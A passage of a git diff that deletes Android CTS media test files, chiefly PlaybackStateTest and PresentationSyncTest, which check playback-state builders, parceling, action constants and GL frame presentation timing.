-        assertEquals(p.getAudioFallbackMode(), q.getAudioFallbackMode());
-        assertEquals(p.getAudioStretchMode(), q.getAudioStretchMode());
-        assertEquals(p.getPitch(), q.getPitch());
-        assertEquals(p.getSpeed(), q.getSpeed());
-        parcel.recycle();
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/PlaybackStateTest.java b/tests/tests/media/src/android/media/cts/PlaybackStateTest.java
deleted file mode 100644
index d8b4aec..0000000
--- a/tests/tests/media/src/android/media/cts/PlaybackStateTest.java
+++ /dev/null
@@ -1,341 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.session.MediaSession;
-import android.media.session.PlaybackState;
-import android.os.Build;
-import android.os.Bundle;
-import android.os.Parcel;
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import java.util.ArrayList;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.MediaUtils;
-
-/**
- * Test {@link android.media.session.PlaybackState}.
- */
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class PlaybackStateTest extends AndroidTestCase {
-
-    private static final long TEST_POSITION = 20000L;
-    private static final long TEST_BUFFERED_POSITION = 15000L;
-    private static final long TEST_UPDATE_TIME = 100000L;
-    private static final long TEST_ACTIONS =
-            PlaybackState.ACTION_PLAY | PlaybackState.ACTION_STOP | PlaybackState.ACTION_SEEK_TO;
-    private static final long TEST_QUEUE_ITEM_ID = 23L;
-    private static final float TEST_PLAYBACK_SPEED = 3.0f;
-    private static final float TEST_PLAYBACK_SPEED_ON_REWIND = -2.0f;
-    private static final float DELTA = 1e-7f;
-
-    private static final String TEST_ERROR_MSG = "test-error-msg";
-    private static final String TEST_CUSTOM_ACTION = "test-custom-action";
-    private static final String TEST_CUSTOM_ACTION_NAME = "test-custom-action-name";
-    private static final int TEST_ICON_RESOURCE_ID = android.R.drawable.ic_media_next;
-
-    private static final String EXTRAS_KEY = "test-key";
-    private static final String EXTRAS_VALUE = "test-value";
-
-    private static final String TAG = "PlaybackStateTest";
-
-    private static boolean sIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
-
-    /**
-     * Test default values of {@link PlaybackState}.
-     */
-    public void testBuilder() {
-        PlaybackState state = new PlaybackState.Builder().build();
-
-        assertEquals(new ArrayList<PlaybackState.CustomAction>(), state.getCustomActions());
-        assertEquals(0, state.getState());
-        assertEquals(0L, state.getPosition());
-        assertEquals(0L, state.getBufferedPosition());
-        assertEquals(0.0f, state.getPlaybackSpeed(), DELTA);
-        assertEquals(0L, state.getActions());
-        assertNull(state.getErrorMessage());
-        assertEquals(0L, state.getLastPositionUpdateTime());
-        assertEquals(MediaSession.QueueItem.UNKNOWN_ID, state.getActiveQueueItemId());
-        assertNull(state.getExtras());
-    }
-
-    /**
-     * Test following setter methods of {@link PlaybackState.Builder}:
-     * {@link PlaybackState.Builder#setState(int, long, float)}
-     * {@link PlaybackState.Builder#setActions(long)}
-     * {@link PlaybackState.Builder#setActiveQueueItemId(long)}
-     * {@link PlaybackState.Builder#setBufferedPosition(long)}
-     * {@link PlaybackState.Builder#setErrorMessage(CharSequence)}
-     * {@link PlaybackState.Builder#setExtras(Bundle)}
-     */
-    public void testBuilder_setterMethods() {
-        Bundle extras = new Bundle();
-        extras.putString(EXTRAS_KEY, EXTRAS_VALUE);
-
-        PlaybackState state = new PlaybackState.Builder()
-                .setState(PlaybackState.STATE_PLAYING, TEST_POSITION, TEST_PLAYBACK_SPEED)
-                .setActions(TEST_ACTIONS)
-                .setActiveQueueItemId(TEST_QUEUE_ITEM_ID)
-                .setBufferedPosition(TEST_BUFFERED_POSITION)
-                .setErrorMessage(TEST_ERROR_MSG)
-                .setExtras(extras)
-                .build();
-        assertEquals(PlaybackState.STATE_PLAYING, state.getState());
-        assertEquals(TEST_POSITION, state.getPosition());
-        assertEquals(TEST_PLAYBACK_SPEED, state.getPlaybackSpeed(), DELTA);
-        assertEquals(TEST_ACTIONS, state.getActions());
-        assertEquals(TEST_QUEUE_ITEM_ID, state.getActiveQueueItemId());
-        assertEquals(TEST_BUFFERED_POSITION, state.getBufferedPosition());
-        assertEquals(TEST_ERROR_MSG, state.getErrorMessage().toString());
-        assertEquals(EXTRAS_VALUE, state.getExtras().get(EXTRAS_KEY));
-    }
-
-    /**
-     * Test {@link PlaybackState.Builder#setState(int, long, float, long)}.
-     */
-    public void testBuilder_setStateWithUpdateTime() {
-        PlaybackState state = new PlaybackState.Builder().setState(
-                PlaybackState.STATE_REWINDING, TEST_POSITION,
-                TEST_PLAYBACK_SPEED_ON_REWIND, TEST_UPDATE_TIME).build();
-        assertEquals(PlaybackState.STATE_REWINDING, state.getState());
-        assertEquals(TEST_POSITION, state.getPosition());
-        assertEquals(TEST_PLAYBACK_SPEED_ON_REWIND, state.getPlaybackSpeed(), DELTA);
-        assertEquals(TEST_UPDATE_TIME, state.getLastPositionUpdateTime());
-    }
-
-    /**
-     * Test {@link PlaybackState.Builder#addCustomAction(String, String, int)}.
-     */
-    public void testBuilder_addCustomAction() {
-        ArrayList<PlaybackState.CustomAction> actions = new ArrayList<>();
-        PlaybackState.Builder builder = new PlaybackState.Builder();
-
-        for (int i = 0; i < 5; i++) {
-            actions.add(new PlaybackState.CustomAction.Builder(
-                    TEST_CUSTOM_ACTION + i, TEST_CUSTOM_ACTION_NAME + i, TEST_ICON_RESOURCE_ID + i)
-                    .build());
-            builder.addCustomAction(
-                    TEST_CUSTOM_ACTION + i, TEST_CUSTOM_ACTION_NAME + i, TEST_ICON_RESOURCE_ID + i);
-        }
-
-        PlaybackState state = builder.build();
-        assertEquals(actions.size(), state.getCustomActions().size());
-        for (int i = 0; i < actions.size(); i++) {
-            assertCustomActionEquals(actions.get(i), state.getCustomActions().get(i));
-        }
-    }
-
-    /**
-     * Test {@link PlaybackState.Builder#addCustomAction(PlaybackState.CustomAction)}.
-     */
-    public void testBuilder_addCustomActionWithCustomActionObject() {
-        Bundle extras = new Bundle();
-        extras.putString(EXTRAS_KEY, EXTRAS_VALUE);
-
-        ArrayList<PlaybackState.CustomAction> actions = new ArrayList<>();
-        PlaybackState.Builder builder = new PlaybackState.Builder();
-
-        for (int i = 0; i < 5; i++) {
-            actions.add(new PlaybackState.CustomAction.Builder(
-                    TEST_CUSTOM_ACTION + i, TEST_CUSTOM_ACTION_NAME + i, TEST_ICON_RESOURCE_ID + i)
-                    .setExtras(extras)
-                    .build());
-            builder.addCustomAction(new PlaybackState.CustomAction.Builder(
-                    TEST_CUSTOM_ACTION + i, TEST_CUSTOM_ACTION_NAME + i, TEST_ICON_RESOURCE_ID + i)
-                    .setExtras(extras)
-                    .build());
-        }
-
-        PlaybackState state = builder.build();
-        assertEquals(actions.size(), state.getCustomActions().size());
-        for (int i = 0; i < actions.size(); i++) {
-            assertCustomActionEquals(actions.get(i), state.getCustomActions().get(i));
-        }
-    }
-
-    /**
-     * Test {@link PlaybackState#writeToParcel(Parcel, int)}.
-     */
-    public void testWriteToParcel() {
-        Bundle extras = new Bundle();
-        extras.putString(EXTRAS_KEY, EXTRAS_VALUE);
-
-        PlaybackState.CustomAction customAction1 = new PlaybackState.CustomAction
-                .Builder(TEST_CUSTOM_ACTION, TEST_CUSTOM_ACTION_NAME, TEST_ICON_RESOURCE_ID)
-                .setExtras(extras)
-                .build();
-
-        PlaybackState.Builder builder =
-                new PlaybackState.Builder().setState(PlaybackState.STATE_CONNECTING, TEST_POSITION,
-                TEST_PLAYBACK_SPEED, TEST_UPDATE_TIME)
-                .setActions(TEST_ACTIONS)
-                .setActiveQueueItemId(TEST_QUEUE_ITEM_ID)
-                .setBufferedPosition(TEST_BUFFERED_POSITION)
-                .setErrorMessage(TEST_ERROR_MSG)
-                .setExtras(extras);
-
-        for (int i = 0; i < 5; i++) {
-            builder.addCustomAction(new PlaybackState.CustomAction.Builder(
-                    TEST_CUSTOM_ACTION + i, TEST_CUSTOM_ACTION_NAME + i, TEST_ICON_RESOURCE_ID + i)
-                    .setExtras(extras)
-                    .build());
-        }
-        PlaybackState state = builder.build();
-
-        Parcel parcel = Parcel.obtain();
-        state.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-
-        PlaybackState stateOut = PlaybackState.CREATOR.createFromParcel(parcel);
-        assertEquals(PlaybackState.STATE_CONNECTING, stateOut.getState());
-        assertEquals(TEST_POSITION, stateOut.getPosition());
-        assertEquals(TEST_PLAYBACK_SPEED, stateOut.getPlaybackSpeed(), DELTA);
-        assertEquals(TEST_UPDATE_TIME, stateOut.getLastPositionUpdateTime());
-        assertEquals(TEST_BUFFERED_POSITION, stateOut.getBufferedPosition());
-        assertEquals(TEST_ACTIONS, stateOut.getActions());
-        assertEquals(TEST_QUEUE_ITEM_ID, stateOut.getActiveQueueItemId());
-        assertEquals(TEST_ERROR_MSG, stateOut.getErrorMessage());
-        assertEquals(EXTRAS_VALUE, stateOut.getExtras().get(EXTRAS_KEY));
-
-        assertEquals(state.getCustomActions().size(), stateOut.getCustomActions().size());
-        for (int i = 0; i < state.getCustomActions().size(); i++) {
-            assertCustomActionEquals(state.getCustomActions().get(i),
-                    stateOut.getCustomActions().get(i));
-        }
-        parcel.recycle();
-    }
-
-    /**
-     * Test {@link PlaybackState#describeContents()}.
-     */
-    public void testDescribeContents() {
-        assertEquals(0, new PlaybackState.Builder().build().describeContents());
-    }
-
-    /**
-     * Test {@link PlaybackState.CustomAction}.
-     */
-    public void testCustomAction() {
-        Bundle extras = new Bundle();
-        extras.putString(EXTRAS_KEY, EXTRAS_VALUE);
-
-        // Test Builder/Getters
-        PlaybackState.CustomAction customAction = new PlaybackState.CustomAction
-                .Builder(TEST_CUSTOM_ACTION, TEST_CUSTOM_ACTION_NAME, TEST_ICON_RESOURCE_ID)
-                .setExtras(extras)
-                .build();
-        assertEquals(TEST_CUSTOM_ACTION, customAction.getAction());
-        assertEquals(TEST_CUSTOM_ACTION_NAME, customAction.getName().toString());
-        assertEquals(TEST_ICON_RESOURCE_ID, customAction.getIcon());
-        assertEquals(EXTRAS_VALUE, customAction.getExtras().get(EXTRAS_KEY));
-
-        // Test describeContents
-        assertEquals(0, customAction.describeContents());
-
-        // Test writeToParcel
-        Parcel parcel = Parcel.obtain();
-        customAction.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-
-        assertCustomActionEquals(customAction,
-                PlaybackState.CustomAction.CREATOR.createFromParcel(parcel));
-        parcel.recycle();
-    }
-
-    /**
-     * Tests that each ACTION_* constant does not overlap.
-     */
-    public void testActionConstantDoesNotOverlap() {
-        long[] actionConstants = new long[] {
-                PlaybackState.ACTION_STOP,
-                PlaybackState.ACTION_PAUSE,
-                PlaybackState.ACTION_PLAY,
-                PlaybackState.ACTION_REWIND,
-                PlaybackState.ACTION_SKIP_TO_PREVIOUS,
-                PlaybackState.ACTION_SKIP_TO_NEXT,
-                PlaybackState.ACTION_FAST_FORWARD,
-                PlaybackState.ACTION_SET_RATING,
-                PlaybackState.ACTION_SEEK_TO,
-                PlaybackState.ACTION_PLAY_PAUSE,
-                PlaybackState.ACTION_PLAY_FROM_MEDIA_ID,
-                PlaybackState.ACTION_PLAY_FROM_SEARCH,
-                PlaybackState.ACTION_SKIP_TO_QUEUE_ITEM,
-                PlaybackState.ACTION_PLAY_FROM_URI,
-                PlaybackState.ACTION_PREPARE,
-                PlaybackState.ACTION_PREPARE_FROM_MEDIA_ID,
-                PlaybackState.ACTION_PREPARE_FROM_SEARCH,
-                PlaybackState.ACTION_PREPARE_FROM_URI,
-                PlaybackState.ACTION_SET_PLAYBACK_SPEED};
-
-        // Check that the values are not overlapped.
-        for (int i = 0; i < actionConstants.length; i++) {
-            for (int j = i + 1; j < actionConstants.length; j++) {
-                assertEquals(0, actionConstants[i] & actionConstants[j]);
-            }
-        }
-    }
-
-    public void testIsActive() {
-        if (!MediaUtils.check(sIsAtLeastS, "testIsActive() requires Android 12")) {
-            return;
-        }
-        int[] activeStates = new int[] {
-                PlaybackState.STATE_FAST_FORWARDING,
-                PlaybackState.STATE_REWINDING,
-                PlaybackState.STATE_SKIPPING_TO_PREVIOUS,
-                PlaybackState.STATE_SKIPPING_TO_NEXT,
-                PlaybackState.STATE_SKIPPING_TO_QUEUE_ITEM,
-                PlaybackState.STATE_BUFFERING,
-                PlaybackState.STATE_CONNECTING,
-                PlaybackState.STATE_PLAYING};
-
-        int[] nonActiveStates = new int[] {
-                PlaybackState.STATE_NONE,
-                PlaybackState.STATE_STOPPED,
-                PlaybackState.STATE_PAUSED,
-                PlaybackState.STATE_ERROR};
-
-        for (int i = 0; i < activeStates.length; i++) {
-            PlaybackState activePlaybackState = new PlaybackState.Builder()
-                    .setState(activeStates[i], 0, 1.0f)
-                    .build();
-            assertTrue(activePlaybackState.isActive());
-        }
-        for (int i = 0; i < nonActiveStates.length; i++) {
-            PlaybackState nonActivePlaybackState = new PlaybackState.Builder()
-                    .setState(nonActiveStates[i], 0, 1.0f)
-                    .build();
-            assertFalse(nonActivePlaybackState.isActive());
-        }
-    }
-
-    private void assertCustomActionEquals(PlaybackState.CustomAction action1,
-            PlaybackState.CustomAction action2) {
-        assertEquals(action1.getAction(), action2.getAction());
-        assertEquals(action1.getName(), action2.getName());
-        assertEquals(action1.getIcon(), action2.getIcon());
-
-        // To be the same, two extras should be both null or both not null.
-        assertEquals(action1.getExtras() != null, action2.getExtras() != null);
-        if (action1.getExtras() != null) {
-            assertEquals(action1.getExtras().get(EXTRAS_KEY), action2.getExtras().get(EXTRAS_KEY));
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/PresentationSyncTest.java b/tests/tests/media/src/android/media/cts/PresentationSyncTest.java
deleted file mode 100644
index 25d6adb..0000000
--- a/tests/tests/media/src/android/media/cts/PresentationSyncTest.java
+++ /dev/null
@@ -1,484 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.opengl.GLES20;
-import android.os.Handler;
-import android.os.Looper;
-import android.os.Message;
-import android.os.Trace;
-import android.platform.test.annotations.AppModeFull;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.suitebuilder.annotation.Suppress;
-import android.util.Log;
-import android.view.Choreographer;
-import android.view.SurfaceHolder;
-
-
-/**
- * Tests synchronized frame presentation.
- *
- * SurfaceFlinger allows a "desired presentation time" value to be passed along with buffers of
- * data.  This exercises that feature.
- */
-@NonMediaMainlineTest
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class PresentationSyncTest extends ActivityInstrumentationTestCase2<MediaStubActivity>
-        implements SurfaceHolder.Callback {
-    private static final String TAG = "PresentationSyncTest";
-    private static final boolean VERBOSE = false;           // lots of logging
-    private static final int FRAME_COUNT = 512;             // ~10 sec @ 60fps
-
-    // message values
-    private static final int START_TEST = 0;
-    private static final int END_TEST = 1;
-
-    // width and height of the Surface we're given to draw on
-    private int mWidth;
-    private int mHeight;
-
-    public PresentationSyncTest() {
-        super(MediaStubActivity.class);
-    }
-
-    /**
-     * Tests whether the output frame rate can be limited by the presentation time.
-     * <p>
-     * Generates and displays the same series of images three times.  The first run uses "now"
-     * as the desired presentation time to establish an estimate of the refresh time.  Later
-     * runs set the presentation time to (start_time + frame_number * refresh_time * multiplier),
-     * with the expectation that a multiplier of 2 will cause the animation to render at
-     * half speed.
-     * <p>
-     * This test does not use Choreographer.  The longer the test runs, the farther out of
-     * phase the test will become with respect to the actual vsync timing.
-     * <p>
-     * Setting the presentation time for a frame is most easily done through an EGL extension,
-     * so we render each frame through GL.
-     *
-     * @throws Exception
-     */
-    public void testThroughput() throws Exception {
-        // Get the Surface from the SurfaceView.
-        // TODO: is it safe to assume that it's ready?
-        SurfaceHolder holder = getActivity().getSurfaceHolder();
-        holder.addCallback(this);
-
-        // We use the width/height to render a simple series of patterns.  If we get this
-        // wrong it shouldn't really matter -- some driver optimizations might make things
-        // faster, but it shouldn't affect how long it takes the frame to be displayed.
-        //
-        // We can get this from the View or from the EGLSurface.  We don't have easy direct
-        // access to any of those things, so just ask our InputSurface to get it from EGL,
-        // since that's where we're drawing.
-        //
-        // Note: InputSurface was intended for a different purpose, but it's 99% right for our
-        // needs.  Maybe rename it to "RecordableSurface"?  Or trivially wrap it with a
-        // subclass that suppresses the EGL_RECORDABLE_ANDROID flag?
-        InputSurface output = new InputSurface(holder.getSurface());
-        mWidth = output.getWidth();
-        mHeight = output.getHeight();
-        Log.d(TAG, "Surface w=" + mWidth + " h=" + mHeight);
-        output.makeCurrent();
-
-        // Run a test with no presentation times specified.  Assuming nothing else is
-        // fighting us for resources, all frames should display as quickly as possible,
-        // and we can estimate the refresh rate of the device.
-        long baseTimeNsec = runThroughputTest(output, 0L, -1.0f);
-        long refreshNsec = baseTimeNsec / FRAME_COUNT;
-        Log.i(TAG, "Using " + refreshNsec + "ns as refresh rate");
-
-        // Run tests with times specified, at 1.3x, 1x, 1/2x, and 1/4x speed.
-        //
-        // One particular device is overly aggressive at reducing clock frequencies, and it
-        // will slow things to the point where we can't push frames quickly enough in the
-        // faster test.  By adding an artificial workload in a second thread we can make the
-        // system run faster.  (This could have a detrimental effect on a single-core CPU,
-        // so it's a no-op there.)
-        CpuWaster cpuWaster = new CpuWaster();
-        try {
-            cpuWaster.start();
-            // Tests with mult < 1.0f are flaky, for two reasons:
-            //
-            // (a) They assume that the GPU can render the test scene in less than mult*refreshNsec.
-            //     It's a simple scene, but CTS/CDD don't currently require being able to do more
-            //     than a full-screen clear in refreshNsec.
-            //
-            // (b) More importantly, it assumes that the only rate-limiting happening is
-            //     backpressure from the buffer queue. If the EGL implementation is doing its own
-            //     rate-limiting (to limit the amount of work queued to the GPU at any time), then
-            //     depending on how that's implemented the buffer queue may not have two frames
-            //     pending very often. So the consumer won't be able to drop many frames, and the
-            //     throughput won't be much better than with mult=1.0.
-            //
-            // runThroughputTest(output, refreshNsec, 0.75f);
-            cpuWaster.stop();
-            runThroughputTest(output, refreshNsec, 1.0f);
-            runThroughputTest(output, refreshNsec, 2.0f);
-            runThroughputTest(output, refreshNsec, 4.0f);
-        } finally {
-            cpuWaster.stop();
-        }
-
-        output.release();
-    }
-
-    /**
-     * Runs the throughput test on the provided surface with the specified time values.
-     * <p>
-     * If mult is -1, the test runs in "training" mode, rendering frames as quickly as
-     * possible.  This can be used to establish a baseline.
-     * <p>
-     * @return the test duration, in nanoseconds
-     */
-    private long runThroughputTest(InputSurface output, long frameTimeNsec, float mult) {
-        Log.d(TAG, "runThroughputTest: " + mult);
-
-        // Sleep briefly.  This is strangely necessary on some devices to allow the GPU to
-        // catch up (b/10898363).  It also provides an easily-visible break in the systrace
-        // output.
-        try { Thread.sleep(50); }
-        catch (InterruptedException ignored) {}
-
-        long startNsec = System.nanoTime();
-        long showNsec = 0;
-
-        if (true) {
-            // Output a frame that creates a "marker" in the --latency output
-            drawFrame(0, mult);
-            Trace.beginSection("TEST BEGIN");
-            output.swapBuffers();
-            Trace.endSection();
-            startNsec = System.nanoTime();
-        }
-
-        for (int frameNum = 0; frameNum < FRAME_COUNT; frameNum++) {
-            if (mult != -1.0f) {
-                showNsec = startNsec + (long) (frameNum * frameTimeNsec * mult);
-            }
-            drawFrame(frameNum, mult);
-            if (mult != -1.0f) {
-                output.setPresentationTime(showNsec);
-            }
-            Trace.beginSection("swapbuf " + frameNum);
-            output.swapBuffers();
-            Trace.endSection();
-        }
-
-        long endNsec = System.nanoTime();
-        long actualNsec = endNsec - startNsec;
-
-        if (mult != -1) {
-            // Some variation is inevitable, but we should be within a few percent of expected.
-            long expectedNsec = (long) (frameTimeNsec * FRAME_COUNT * mult);
-            long deltaNsec = Math.abs(expectedNsec - actualNsec);
-            double delta = (double) deltaNsec / expectedNsec;
-            final double MAX_DELTA = 0.05;
-            if (delta > MAX_DELTA) {
-                throw new RuntimeException("Time delta exceeds tolerance (" + MAX_DELTA +
-                        "): mult=" + mult + ": expected=" + expectedNsec +
-                        " actual=" + actualNsec + " p=" + delta);
-
-            } else {
-                Log.d(TAG, "mult=" + mult + ": expected=" + expectedNsec +
-                        " actual=" + actualNsec + " p=" + delta);
-            }
-        }
-        return endNsec - startNsec;
-    }
-
-
-    /**
-     * Exercises the test code, driving it off of Choreographer.  The animation is driven at
-     * full speed, but with rendering requested at a future time.  With each run the distance
-     * into the future is increased.
-     * <p>
-     * Loopers can't be reused once they quit, so it's easiest to create a new thread for
-     * each run.
-     * <p>
-     * (This isn't exactly a test -- it's primarily a way to exercise the code.  Evaluate the
-     * results with "dumpsys SurfaceFlinger --latency SurfaceView" for each multiplier.
-     * The idea is to see frames where the desired-present is as close as possible to the
-     * actual-present, while still minimizing frame-ready.  If we go too far into the future
-     * the BufferQueue will start to back up.)
-     * <p>
-     * @throws Exception
-     */
-    public void suppressed_testChoreographed() throws Throwable {
-        // Get the Surface from the SurfaceView.
-        // TODO: is it safe to assume that it's ready?
-        SurfaceHolder holder = getActivity().getSurfaceHolder();
-        holder.addCallback(this);
-
-        InputSurface output = new InputSurface(holder.getSurface());
-        mWidth = output.getWidth();
-        mHeight = output.getHeight();
-        Log.d(TAG, "Surface w=" + mWidth + " h=" + mHeight);
-
-        for (int i = 1; i < 5; i++) {
-            ChoreographedWrapper.runTest(this, output, i);
-        }
-
-        output.release();
-    }
-
-    /**
-     * Shifts the test to a new thread, so we can manage our own Looper.  Any exception
-     * thrown on the new thread is propagated to the caller.
-     */
-    private static class ChoreographedWrapper implements Runnable {
-        private final PresentationSyncTest mTest;
-        private final InputSurface mOutput;
-        private final int mFrameDelay;
-        private Throwable mThrowable;
-
-        private ChoreographedWrapper(PresentationSyncTest test, InputSurface output,
-                int frameDelay) {
-            mTest = test;
-            mOutput = output;
-            mFrameDelay = frameDelay;
-        }
-
-        @Override
-        public void run() {
-            try {
-                mTest.runChoreographedTest(mOutput, mFrameDelay);
-            } catch (Throwable th) {
-                mThrowable = th;
-            }
-        }
-
-        /** Entry point. */
-        public static void runTest(PresentationSyncTest obj, InputSurface output,
-                int frameDelay) throws Throwable {
-            ChoreographedWrapper wrapper = new ChoreographedWrapper(obj, output, frameDelay);
-            Thread th = new Thread(wrapper, "sync test");
-            th.start();
-            th.join();
-            if (wrapper.mThrowable != null) {
-                throw wrapper.mThrowable;
-            }
-        }
-    }
-
-    /**
-     * Runs the test, driven by callbacks from the Looper we define here.
-     */
-    private void runChoreographedTest(InputSurface output, int frameDelay) {
-        Log.d(TAG, "runChoreographedTest");
-
-        output.makeCurrent();
-        final ChoRunner chore = new ChoRunner(output);
-
-        Looper.prepare();
-        Handler handler = new Handler() {
-            @Override
-            public void handleMessage(Message msg) {
-                switch (msg.what) {
-                    case START_TEST:
-                        Log.d(TAG, "Starting test");
-                        chore.start(this, msg.arg1 /*frameDelay*/);
-                        break;
-                    case END_TEST:
-                        Log.d(TAG, "Ending test");
-                        Looper.myLooper().quitSafely();
-                        break;
-                    default:
-                        Log.d(TAG, "unknown message " + msg.what);
-                        break;
-                }
-            }
-        };
-
-        handler.sendMessage(Message.obtain(handler, START_TEST, frameDelay, 0));
-
-        Log.d(TAG, "looping (frameDelay=" + frameDelay + ")");
-        long startNanos = System.nanoTime();
-        Trace.beginSection("TEST BEGIN fd=" + frameDelay);
-        Looper.loop();
-        Trace.endSection();
-        long durationNanos = System.nanoTime() - startNanos;
-        Log.d(TAG, "loop exiting after " + durationNanos +
-                " (" + durationNanos / FRAME_COUNT + "ns)");
-
-        output.makeUnCurrent();
-    }
-
-
-    private class ChoRunner implements Choreographer.FrameCallback {
-        private final InputSurface mOutput;
-        private int mFrameDelay;
-        private Handler mHandler;
-        private int mCurFrame;
-        private Choreographer mChocho;
-        private long mPrevFrameTimeNanos;
-        private long mFrameDiff;
-
-        public ChoRunner(InputSurface output) {
-            mOutput = output;
-        }
-
-        public void start(Handler handler, int frameDelay) {
-            mHandler = handler;
-            mFrameDelay = frameDelay;
-
-            mCurFrame = 0;
-            mChocho = Choreographer.getInstance();
-            mChocho.postFrameCallback(this);
-        }
-
-        @Override
-        public void doFrame(long frameTimeNanos) {
-            if (mPrevFrameTimeNanos != 0) {
-                // Update our vsync rate guess every frame so that, if we start with a
-                // stutter, we don't carry it for the whole test.
-                assertTrue(frameTimeNanos > mPrevFrameTimeNanos);
-                long prevDiff = frameTimeNanos - mPrevFrameTimeNanos;
-                if (mFrameDiff == 0 || mFrameDiff > prevDiff) {
-                    mFrameDiff = prevDiff;
-                    Log.d(TAG, "refresh rate approx " + mFrameDiff + "ns");
-                }
-
-                // If the current diff is >= 2x the expected frame time diff, we stuttered
-                // and need to drop a frame.  (We might even need to drop more than one
-                // frame; ignoring that for now.)
-                if (prevDiff > mFrameDiff * 1.9) {
-                    Log.d(TAG, "skip " + mCurFrame + " diff=" + prevDiff);
-                    mCurFrame++;
-                }
-            }
-            mPrevFrameTimeNanos = frameTimeNanos;
-
-            if (mFrameDiff != 0) {
-                // set desired display time to N frames in the future, rather than ASAP.
-                //
-                // Note this is a "don't open until Xmas" feature.  If vsyncs are happening
-                // at times T1, T2, T3, and we want the frame to appear onscreen when the
-                // buffers flip at T2, then we can theoretically request any time value
-                // in [T1, T2).
-                mOutput.setPresentationTime(frameTimeNanos + (mFrameDiff * mFrameDelay));
-            }
-
-            drawFrame(mCurFrame, mFrameDelay);
-            Trace.beginSection("swapbuf " + mCurFrame);
-            mOutput.swapBuffers();
-            Trace.endSection();
-
-            if (++mCurFrame < FRAME_COUNT) {
-                mChocho.postFrameCallback(this);
-            } else {
-                mHandler.sendMessage(Message.obtain(mHandler, END_TEST));
-            }
-        }
-    }
-
-    /**
-     * Draws a frame with GLES in the current context.
-     */
-    private void drawFrame(int num, float mult) {
-        num %= 64;
-        float colorVal;
-
-        if (mult > 0) {
-            colorVal = 1.0f / mult;
-        } else {
-            colorVal = 0.1f;
-        }
-
-        int startX, startY;
-        startX = (num % 16) * (mWidth / 16);
-        startY = (num / 16) * (mHeight / 4);
-        if ((num >= 16 && num < 32) || (num >= 48)) {
-            // reverse direction
-            startX = (mWidth - mWidth/16) - startX;
-        }
-
-        // clear screen
-        GLES20.glClearColor(0.2f, 0.2f, 0.2f, 1.0f);
-        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
-
-        // draw rect
-        GLES20.glEnable(GLES20.GL_SCISSOR_TEST);
-        GLES20.glScissor(startX, startY, mWidth / 16, mHeight / 4);
-        GLES20.glClearColor(colorVal, 1 - colorVal, 0.0f, 1.0f);
-        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
-        GLES20.glDisable(GLES20.GL_SCISSOR_TEST);
-    }
-
-    @Override
-    public void surfaceCreated(SurfaceHolder holder) {
-        Log.d(TAG, "surfaceCreated");
-    }
-
-    @Override
-    public void surfaceChanged(SurfaceHolder holder, int format, int width,
-            int height) {
-        // This doesn't seem to happen in practice with current test framework -- Surface is
-        // already created before we start, and the orientation is locked.
-        Log.d(TAG, "surfaceChanged f=" + format + " w=" + width + " h=" + height);
-        mWidth = width;
-        mHeight = height;
-    }
-
-    @Override
-    public void surfaceDestroyed(SurfaceHolder holder) {
-        Log.d(TAG, "surfaceDestroyed");
-    }
-
-
-    /**
-     * Wastes CPU time.
-     * <p>
-     * The start() and stop() methods must be called from the same thread.
-     */
-    private static class CpuWaster {
-        volatile boolean mRunning = false;
-
-        public void start() {
-            if (mRunning) {
-                throw new IllegalStateException("already running");
-            }
-
-            if (Runtime.getRuntime().availableProcessors() < 2) {
-                return;
-            }
-
-            mRunning = true;
-
-            new Thread("Stupid") {
-                @Override
-                public void run() {
-                    while (mRunning) { /* spin! */ }
-                }
-            }.start();
-
-            // sleep briefly while the system re-evaluates its load (might want to spin)
-            try { Thread.sleep(10); }
-            catch (InterruptedException ignored) {}
-        }
-
-        public void stop() {
-            if (mRunning) {
-                mRunning = false;
-
-                // give the system a chance to slow back down
-                try { Thread.sleep(10); }
-                catch (InterruptedException ignored) {}
-            }
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/PresetReverbTest.java b/tests/tests/media/src/android/media/cts/PresetReverbTest.java
deleted file mode 100644
index c7cc37e..0000000
--- a/tests/tests/media/src/android/media/cts/PresetReverbTest.java
+++ /dev/null
@@ -1,399 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.audiofx.AudioEffect;
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.audiofx.PresetReverb;
